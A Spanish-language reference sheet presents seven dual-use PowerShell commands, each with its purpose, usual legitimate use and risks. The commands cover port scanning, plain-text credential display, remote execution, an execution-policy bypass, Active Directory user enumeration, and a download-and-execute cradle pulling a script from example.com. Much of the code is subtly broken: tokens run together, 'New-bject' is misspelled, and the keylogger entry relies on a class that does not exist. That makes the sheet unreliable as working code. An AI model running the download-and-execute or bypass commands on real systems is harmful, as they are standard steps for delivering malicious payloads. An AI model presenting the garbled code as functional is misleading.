Este documento describe, de forma estructurada y técnica, una serie de comandos PowerShell que pueden ser utilizados tanto para administración legítima como para otras actividades. Cada sección incluye una descripción clara del propósito, funcionamiento.
1. Escaneo de Puertos Abiertos
Comando:
1..1024 | ForEach-Object { $sock = New-ObjectSystem.Net.Sockets.TcpClient $async = sock.BeginConnect('localhost', $_, $null, $null) $wait = $async.AsyncWaitHandle.WaitOne(100, $false); if($sock.Connected) { $_ } ; $sock.Close() }
Descripción: Escanea los primeros 1024 puertos TCP en la máquina local con el fin de identificar puertos abiertos.
Uso habitual:
- Auditorías de red y comprobaciones de seguridad.
Riesgos:
- Puede emplearse para reconocimiento previo a un ataque.
- Genera tráfico detectable en herramientas de monitorización.
2. Recuperación de Credenciales Almacenadas
Comando:
$cred = Get-Credential; $cred.GetNetworkCredential() | Select-Object -PropertyUserName, Password
Descripción: Solicita credenciales al usuario y muestra el usuario y contraseña en texto plano.
Uso habitual:
- Pruebas de automatización.
Riesgos:
- Puede emplearse para harvesting de credenciales.
- Exponer contraseñas en texto plano es una mala práctica.
3. Ejecución Remota de Comandos
Comando:
Invoke-Command -ComputerNameTargetPC -ScriptBlock { Get-Process } -Credential (Get-Credential)
Descripción: Permite ejecutar comandos en un equipo remoto mediante PowerShell Remoting.
Uso habitual:
- Administración remota.
Riesgos:
- Si se comprometen las credenciales, un atacante puede ejecutar comandos remotamente.
4. Descarga y Ejecución de Scripts desde URL
Comando:
$url = 'http://example.com/script.ps1'; Invoke-Expression (New-bject Net.WebClient).DownloadString($url)
Descripción: Descarga y ejecuta un script desde una URL externa.
Uso habitual:
- Automatización y despliegue remoto.
Riesgos:
- Comúnmente utilizado para ejecutar payloads maliciosos.
- Riesgo crítico si la URL o el contenido no están verificados.
5. Evadir Políticas de Ejecución
Comando:
Set-ExecutionPolicyBypass -ScopeProcess -Force; .\script.ps1
Descripción: Permite ejecutar scripts ignorando la política de ejecución del sistema, pero únicamente dentro del proceso actual.
Uso habitual:
- Ejecutar scripts propios o sin firmar.
Riesgos:
- Permite la ejecución de scripts maliciosos.
6. Enumeración de Usuarios del Dominio
Comando:
Get-ADUser -Filter * -Properties * | Select-Object -PropertyName, Enabled, LastLogonDate
Descripción: Obtiene una lista de todos los usuarios del dominio y muestra su estado y última fecha de inicio de sesión.
Uso habitual:
- Auditorías de Active Directory.
Riesgos:
- Información valiosa para movimientos laterales en un ataque.
7. Captura de Pulsaciones de Teclado
Comando:
$path = 'C:\temp\keystrokes.txt'; Add-Type -AssemblyNameSystem.Windows.Forms; $listener = New-ObjectSystem.Windows.Forms.Keylogger; [System.Windows.Forms.Application]::Run($listener); $listener.Keys | Out-File -FilePath$path
Descripción: Registra pulsaciones de teclado y las almacena en un fichero local.
Uso habitual:
- No existe un uso administrativo legítimo habitual.
Riesgos:
- Se considera comportamiento malicioso típico de malware.
Conclusión
Este manual resume comandos que pueden formar parte de actividades de administración avanzada, pruebas de seguridad o, en escenarios no autorizados, acciones ofensivas. Su uso debe quedar restringido a entornos controlados y con permisos explícitos.
